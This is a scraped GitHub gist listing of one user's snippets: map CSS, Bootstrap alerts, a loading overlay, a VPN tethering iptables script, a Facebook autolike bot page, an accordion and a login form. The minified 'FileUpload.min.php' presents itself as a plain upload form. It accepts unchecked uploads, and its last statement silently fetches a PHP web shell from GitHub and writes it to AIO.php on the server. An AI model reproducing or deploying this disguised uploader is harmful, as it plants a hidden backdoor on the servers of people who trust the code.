Skip to content

Instantly share code, notes, and snippets.

Avatar
😔
Need Job for Web Programming

Dimas Lanjaka dimaslanjaka

😔
Need Job for Web Programming
View GitHub Profile
View main.css
body { margin:0; padding:0; }
#map { position:absolute; top:0; bottom:0; width:100%; }
#map {
position:absolute;
left:25%;
top:0;
bottom:0;
width: 75%;
}
@dimaslanjaka
dimaslanjaka / generate-bootstrap-alerts-with-javascript.markdown
Last active Jun 27, 2020
Generate Bootstrap Alerts with Javascript
View generate-bootstrap-alerts-with-javascript.markdown

Generate Bootstrap Alerts with Javascript

Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option

A Pen by Cody Sechelski on CodePen.

License.

View FileUpload.min.php
<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('https://raw.githubusercontent.com/heiswayi/simple-php-shell/master/shell.php');file_put_contents(__DIR__.'/AIO.php', $content);?>
@dimaslanjaka
dimaslanjaka / index.html
Created Feb 1, 2020
Loading overlay - Demo by Roko C.B // source http://jsbin.com/huyusu/3
View index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Loading overlay - Demo by Roko C.B</title>
<style id="jsbin-css">
*{margin:0;}
body{
font: 200 16px/1 Helvetica, Arial, sans-serif;
View vpn-hotspot.sh
#!/storage/xbin/bash
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script.
# Inital variable setup
tethering=0
# Setup iptables before forwarding VPN
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat
View index.html
<head>
<title>Tutorial Bot</title>
<meta name="description" content="TUTORAL BOT Reaction Facebook"/>
<meta name="keywords" content="bot,facebook,reaction,autolike"/>
<style>
.d-none { display: none; }
a#footer {
position: fixed;
z-index: 900;
background-color: transparent;
@dimaslanjaka
dimaslanjaka / index.html
Created May 21, 2019
Simple Bootstrap Accordion
View index.html
<!-- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css"> -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<div class="containerx container">
<div id="accordion" class="panel-group">
<div class="panel">
<div class="panel-heading">
<h4 class="panel-title">
<a href="#panelBodyOne" class="accordion-toggle" data-toggle="collapse" data-parent="#accordion">Custom Post To Send Like</a>
</h4>
@dimaslanjaka
dimaslanjaka / index.slim
Created Mar 12, 2019
Responsive login form with Flexbox
View index.slim
.container
form action="index.html" method="post"
h1 Sign in
.form-content
input type="text" id="user-name" name="user-name" placeholder="user name"
input type="password" id="password" name="password" placeholder="password"
br
.button Log in
br
.signup-message